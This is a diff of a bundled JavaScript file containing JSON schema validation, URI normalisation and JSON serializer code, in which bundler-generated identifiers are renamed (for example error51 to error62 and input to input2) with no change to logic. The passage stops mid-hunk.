@@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation 